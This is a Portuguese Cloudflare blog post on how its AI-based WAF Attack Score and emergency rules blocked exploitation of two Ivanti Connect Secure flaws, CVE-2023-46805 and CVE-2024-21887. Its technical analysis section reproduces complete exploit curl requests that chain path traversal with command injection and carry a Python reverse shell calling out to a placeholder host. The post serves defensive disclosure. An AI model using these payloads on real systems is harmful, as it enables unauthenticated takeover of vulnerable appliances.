Assine para receber notificações de novos posts:

Como o AI WAF da Cloudflare detectou proativamente a vulnerabilidade crítica de zero-day da Ivanti Connect Secure

2024-01-23

5 min. de leitura
Este post também está disponível em English, 繁體中文, Français, Deutsch, 日本語, 한국어, Español e 简体中文.

A maioria dos provedores de WAF confia em métodos reativos, respondendo a vulnerabilidades depois de descobertas e exploradas. No entanto, acreditamos em abordar proativamente os possíveis riscos e usar a IA para conseguir isso. Hoje, compartilhamos um exemplo recente de uma vulnerabilidade crítica (CVE-2023-46805 e CVE-2024-21887) e como o Attack score da Cloudflare, alimentado por IA, e as regras de emergência no WAF enfrentaram essa ameaça.

How Cloudflare’s AI WAF proactively detected Ivanti Connect Secure critical zero-day vulnerability

A ameaça: CVE-2023-46805 e CVE-2024-21887

Um desvio de autenticação (CVE-2023-46805) e uma vulnerabilidade de injeção de comando (CVE-2024-21887) que afetam os produtos Ivanti foram divulgados e analisados recentemente pelo AttackerKB. Esta vulnerabilidade representa riscos significativos que podem levar a acesso não autorizado e controle sobre os sistemas afetados. Na seção a seguir, vamos discutir como essa vulnerabilidade pode ser explorada.

Análise técnica

Conforme discutido em AttackerKB, o invasor pode enviar uma solicitação especialmente criada ao sistema de destino usando um comando como este:

Este comando visa um endpoint (/license/keys-status/) que geralmente é protegido por autenticação. No entanto, o invasor pode contornar a autenticação manipulando o URL para incluir /api/v1/totp/user-backup-code/../../license/keys-status/. Essa técnica é conhecida como travessia de diretório.

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

A parte do comando codificada pelo URL é decodificada para um shell reverso do Python, que se parece com isto:

O shell reverso do Python é uma maneira de o invasor obter controle sobre o sistema de destino.

;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';

A vulnerabilidade existe na maneira como o sistema processa o parâmetro node_name.  Se um invasor puder controlar o valor de node_name, ele poderá injetar comandos no sistema.

Explicação sobre "node_name": o parâmetro "node_name" é um componente do endpoint /api/v1/license/keys-status/path:node_name. É nesse endpoint que o problema principalmente ocorre.

O invasor pode enviar uma solicitação GET para o caminho URI /api/v1/totp/user-backup-code/../../license/keys-status/;CMD; onde CMD é qualquer comando que desejam executar. Usando um ponto e vírgula, eles podem especificar esse comando na solicitação. Para garantir que o comando seja processado corretamente pelo sistema, ele deve ser codificado para URL.

Outra vulnerabilidade de injeção de código foi identificada, conforme detalhado no post do blog do AttackerKB. Desta vez, envolve uma injeção de comando autenticada encontrada em uma parte diferente do sistema.

O mesmo conteúdo malicioso de shell reverso do Python usado na primeira injeção de comando pode ser empregado aqui, formando uma estrutura JSON para acionar a vulnerabilidade. Como o conteúdo malicioso está em JSON, ele não precisa ser codificado para URL:

Embora o endpoint /api/v1/system/maintenance/archiving/cloud-server-test-connection exija autenticação, um invasor pode contornar isso encadeando-o com a vulnerabilidade de passagem de diretório mencionada anteriormente. Ele pode construir um caminho URI não autenticado /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection para alcançar esse endpoint e explorar a vulnerabilidade.

{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}

Para executar um comando do sistema operacional não autenticado, um invasor usaria uma solicitação curl como esta:

A defesa proativa da Cloudflare

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'

O WAF da Cloudflare é suportado por uma camada adicional alimentada por IA chamada WAF Attack Score, que foi criada com o objetivo de detectar desvios de ataque antes mesmo de serem anunciados. O Attack Score fornece uma pontuação para indicar se a solicitação é maliciosa ou não; com foco em três categorias principais até agora: XSS, SQLi, e algumas variações de RCE (Injeção de Comando, ApacheLog4J, etc.). A pontuação varia de 1 a 99 e quanto menor a pontuação mais maliciosa é a solicitação. De modo geral, qualquer solicitação com pontuação abaixo de 20 é considerada maliciosa.

Analisar os resultados do exemplo de exploração acima de CVE-2023-46805 e CVE-2024-21887 usando o painel da Cloudflare (Segurança > Eventos). Os resultados da análise do Attack Score consistem em três pontuações individuais, cada uma rotulada para indicar sua relevância para uma categoria de ataque específica. Existe também uma pontuação global, a "WAF Attack Score", que considera o impacto combinado dessas três pontuações. Em alguns casos, a pontuação global é afetada por uma das subpontuações se o ataque corresponde a uma categoria. Aqui podemos ver que a subpontuação dominante é a "WAF RCE Attack Score" de execução remota de código.

Captura de tela do Security Events, destacando os resultados do WAF Attack Score mostrando o WAF Attack Score de 9

Screenshot from Security Events highlighting WAF Attack Score Results showing WAF attack Score of 9

Da mesma forma, para a solicitação de comando do sistema operacional não autenticada, recebemos o "WAF Attack Score: 19" do modelo de IA, que também se enquadra na categoria de solicitação maliciosa. Vale mencionar que as pontuações de exemplo não são números fixos e podem variar com base na variação do ataque de entrada.

A grande notícia aqui é: clientes nos planos Enterprise e Business com WAF Attack Score ativado, juntamente com uma regra para bloquear pontuações baixas (por exemplo, [cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20) ou ([cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq "attack") para Business, já estavam protegidos contra possíveis explorações de vulnerabilidades que foram testadas até agora, antes mesmo de a vulnerabilidade ser anunciada.

Implantação da regra de emergência

Em resposta a esta vulnerabilidade crítica, a Cloudflare lançou as Regras de emergência em 17de janeiro de2024, 24 horas após a prova de conceito se tornar pública. Essas regras fazem parte das regras gerenciadas do WAF, visando especificamente as ameaças representadas pelo CVE-2023-46805 e uma vulnerabilidade adicional, a CVE-2024-21887, também relacionada aos produtos da Ivanti. As regras, chamadas "Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887", foram desenvolvidas para bloquear tentativas de exploração dessas vulnerabilidades, fornecendo uma camada extra de segurança para os usuários da Cloudflare.

Desde que implantamos essas regras, registramos um alto nível de atividade. No momento da redação deste artigo, a regra foi acionada mais de 180 mil vezes.

Rule ID Description Default Action
New Managed Rule…34ab53c5 Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 Block
Legacy Managed Rule
100622
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 Block

.tg {border-collapse:collapse;border-color:#ccc;border-spacing:0;} .tg td{background-color:#fff;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;overflow:hidden;padding:10px 5px;word-break:normal;} .tg th{background-color:#f0f0f0;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-dgl5{background-color:#FFF;font-weight:bold;text-align:left;vertical-align:top} .tg .tg-ktyi{background-color:#FFF;text-align:left;vertical-align:top} .tg .tg-0lax{text-align:left;vertical-align:top}

ID da regra

Descrição

Ação padrão

Nova regra gerenciada…34ab53c5

Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887

Bloquear

Regra gerenciada legada100622

Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887

Bloquear

Implicações e práticas recomendadas

A resposta da Cloudflare a CVE-2023-46805 e CVE-2024-21887 ressalta a importância de ter medidas de segurança robustas em vigor. As organizações que usam os serviços da Cloudflare, particularmente o WAF, são aconselhadas a garantir que seus sistemas estejam atualizados com as regras e configurações mais recentes para manter a proteção ideal. Também recomendamos que os clientes implantem regras usando o Attack Score para melhorar sua postura de segurança. Se você quiser saber mais sobre o Attack Score, entre em contato com a equipe da sua conta.

Conclusão

A abordagem proativa da Cloudflare para a segurança cibernética usando IA para identificar e parar ataques, exemplificada por sua resposta a CVE-2023-46805 e CVE-2024-21887, destaca como ameaças e ataques podem ser identificados antes de serem tornados públicos e as vulnerabilidades divulgadas. Ao monitorar continuamente e responder rapidamente às vulnerabilidades, a Cloudflare garante que seus clientes permaneçam seguros em um cenário digital cada vez mais complexo.

Protegemos redes corporativas inteiras, ajudamos os clientes a criarem aplicativos em escala de internet com eficiência, aceleramos qualquer site ou aplicativo de internet, evitamos os ataques de DDoS, mantemos os invasores afastados e podemos ajudar você em sua jornada rumo ao Zero Trust.

Acesse 1.1.1.1 a partir de qualquer dispositivo para começar a usar nosso aplicativo gratuito que torna sua internet mais rápida e mais segura.

Para saber mais sobre nossa missão de construir uma internet melhor, comece aqui. Se estiver procurando uma nova carreira para trilhar, confira nossas vagas disponíveis.
VulnerabilitiesWAF RulesWAFWAF Attack ScoreZero Day Threats (PT)AI WAF

Seguir no X

Himanshu Anand|@anand_himanshu
Radwa Radwan|@RadwaRadwan__
Cloudflare|@cloudflare

Posts relacionados

09 de julho de 2024 às 12:00

RADIUS/UDP vulnerable to improved MD5 collision attack

The RADIUS protocol is commonly used to control administrative access to networking gear. Despite its importance, RADIUS hasn’t changed much in decades. We discuss an attack on RADIUS as a case study for why it’s important for legacy protocols to keep up with advancements in cryptography...